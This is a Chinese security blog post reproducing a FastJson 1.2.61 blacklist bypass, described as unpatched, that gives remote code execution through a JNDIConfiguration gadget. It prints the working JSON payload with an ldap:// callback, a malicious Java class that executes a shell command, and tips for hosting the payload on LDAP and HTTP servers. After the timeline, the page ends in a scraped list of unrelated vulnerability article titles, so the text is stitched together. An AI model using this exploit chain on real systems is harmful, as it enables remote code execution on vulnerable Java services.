前言

最近FastJson更新了黑名单,升级到了1.2.61版本,我尝试bypass其黑名单,在AutType打开的情况下成功绕过了黑名单防护.(目前暂未修复,官方即将更新)

复现环境准备

  • 1.JDK 8U20

  • 2.所需jar清单如下

fastjson-1.2.61.jarcommons-configuration2-2.0.jarcommons-lang3-3.3.2.jarcommons-logging-1.2.jar

FastJson复现

FastJsonTest.java

import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import com.alibaba.fastjson.parser.ParserConfig;

public class FastJsonTest {public static void main(String[] args){

        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

        String jsonStr6 = "{\"@type\":\"org.apache.commons.configuration2.JNDIConfiguration\",\"prefix\":\"ldap://127.0.0.1:1389/ExportObject\"}";

        JSONObject json = JSON.parseObject(jsonStr6);        json.toJSONString();    }}

恶意类ExportObject.java

import java.io.BufferedReader;import java.io.InputStreamReader;

public class ExportObject {public ExportObject() throws Exception {        Process proc = Runtime.getRuntime().exec("open /Applications/Calculator.app");        BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));        StringBuffer sb = new StringBuffer();

        String line;while((line = br.readLine()) != null) {            sb.append(line).append("\n");        }

        String result = sb.toString();        Exception e = new Exception(result);throw e;    }

public static void main(String[] args) throws Exception {    }}

使用org.apache.commons.configuration2.JNDIConfiguration payload 效果如下

关于黑名单

Fastjson 在1.2.42版本开始,将原本明文的黑名单改成了hash value的黑名单

使用这种方式,能在一定程度上减缓安全研究者对fastjson黑名单绕过的速度
关于黑名单,有安全研究者在GitHub上开源了一个项目,叫做fastjson-blacklist,大家可以关注一下.

后记

对于不会开启rmi和ldap服务的同学可以查阅我的文章——《如何快速开启RMI&&LDAP》,快速开启http服务可以使用python -m SimpleHTTPServer.
使用JNDI进行rce,请注意JDK对于JNDI的修复,可参考pyn3rd师傅的图

Reference

fastjson-blacklist:
https://github.com/LeadroyaL/fastjson-blacklist/](https://github.com/LeadroyaL/fastjson-blacklist/
fastjson官方黑名单:
https://github.com/alibaba/fastjson/blob/master/src/main/java/com/alibaba/fastjson/parser/ParserConfig.java
如何快速开启RMI&&LDAP:
https://mp.weixin.qq.com/s/TuQWvyro5vphyeZCAo_Y6g

时间轴

[0] 2019年9月20日 亚信安全提交该漏洞给阿里巴巴
[1] 2019年9月23日 亚信安全网络攻防实验室发布预警公告

commons-pool2-2.3 jar包_[漏洞复现]FastJson 1.2.61远程代码执行漏洞(From第三方jar包)相关推荐

  1. 漏洞复现----37、Apache Unomi 远程代码执行漏洞 (CVE-2020-13942)

    文章目录 一.Apache Unomi简介 二.CVE-2020-11975漏洞 2.1.CVE-2020-11975漏洞代码 2.2.CVE-2020-11975漏洞修复代码 三.CVE-2020- ...

  2. 【漏洞复现】Microsoft Office MSDT 远程代码执行漏洞 (CVE-2022-30190)

    0x01 Microsoft Office Microsoft Office是由Microsoft(微软)公司开发的一套办公软件套装.常用组件有 Word.Excel.PowerPoint等. 0x0 ...

  3. c++获取一段代码的执行时间_微软IE浏览器JScript脚本引擎远程代码执行漏洞通告...

    文档信息 编号 QiAnXinTI-SV-2019-0022 关键字 IE JScript RCE 远程命令执行CVE-2019-1367 发布日期 2019年09月24日 更新日期 2019年09月 ...

  4. Fastjson 1.2.24远程代码执行漏洞(com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl)

    1.漏洞信息 1.1 漏洞简介 · 漏洞名称:Fastjson 1.2.24远程代码执行漏洞(com.sun.org.apache.xalan.internal.xsltc.trax.Template ...

  5. 【漏洞通告】微软SMBv3协议远程代码执行漏洞(CVE-2020-0796)PoC公开处置手册

    [漏洞通告]微软SMBv3协议远程代码执行漏洞(CVE-2020-0796)PoC公开处置手册 原创 威胁对抗能力部 [绿盟科技安全情报](javascript:void(0)

  6. php代码执行漏洞,预警!!!PHP 远程代码执行漏洞

    一.前言 2019年10月22日,在github上公开了一个关于PHP的远程代码执行漏洞. 斗象智能安全CRS产品已全面支持该漏洞的检测与验证,用户可直接登陆www.riskivy.com 进行验证. ...

  7. oracle11g远程命令执行漏洞,「漏洞通告」WebLogic多个远程代码执行漏洞

    一.漏洞概述 京时间4月15日,Oracle官方发布了2020年4月关键补丁更新公告CPU(Critical Patch Update),修复了397个不同程度的漏洞.其中包括三个针对Weblogic ...

  8. 「安全狗漏洞通告」Fortinet SSL VPN远程代码执行漏洞解决方案

    安全狗应急响应中心监测到,Fortinet发布了FortiOS SSL-VPN的风险通告,漏洞等级:高危,漏洞评分:9.3.漏洞编号:CVE-2022-42475. 安全狗应急响应中心建议广大用户做好 ...

  9. php5.4漏洞解决,php5.4.3的远程代码执行漏洞,提权挺管用

    PHP com_print_typeinfo()的漏洞,通过PHP代码调用"exec"可运行SHELL命令 用这个提权是不是很方便了? // Exploit Title: PHP ...

最新文章

  1. controller是什么意思_好文推荐:什么是领域驱动设计?DDD?
  2. iPhoneX-关于底部的那个一个横条的问题
  3. 趣谈网络协议笔记-零
  4. c++string类默认函数实现
  5. 802.1x认证EAP包结构
  6. 开源免费,zabbix服务器监控全面实现
  7. linux环境变量命名规范,Linux就该这么学 -- 重要的环境变量
  8. C++socket编程(三):3.3 bind端口
  9. 重构java和js版_重构Javascript代码示例(重构前后对比)
  10. 完全开源:带OLED超级Mini的SWD离线烧写器!
  11. 仿真小白必须知道的!有限元法-它是什么?FEM和FEA解释
  12. HTML table表头排序箭头绘制法【不用箭头图片】
  13. 跑步到底伤不伤膝盖?励建安教授给你权威解答
  14. 关于先有鸡蛋还是先有鸡的理解
  15. UE4 动态材质设置
  16. 关于微信小程序danmu-List所遇到的坑
  17. metasploit unleashed(Chinese Simplified Edition)-8
  18. 正确将图片保存到相册的方法
  19. 蓝精灵事件来袭: 深受喜爱的蓝色角色来 Web3 啦!
  20. 自动化部署工具OneinStack:从入坑到出坑

热门文章

  1. 微软的SQLHelper类(含完整中文注释)
  2. [转载]ns2在linux安装过程
  3. objective-c 使用NSNumber 将int float long等数据类型加入到数组或字典中
  4. git回退历史版本无法上传_Git系列教程(二):版本库中添加文件、版本回退
  5. 产品发布系统_【产品发布】第3期|阀门遥控系统
  6. 主机ping不通Virtualbox里的虚拟机
  7. 点钞机语音怎么打开_原来微信语音一样能转发? 居然还有人不知道
  8. html 物流状态,使用css实现物流进度的样式的实例代码
  9. Python中的条件语句(if,if ... else,if ... elif ... else和嵌套的if)
  10. 电子增稳云台_揭秘Dobby自拍无人机,电子增稳是黑科技?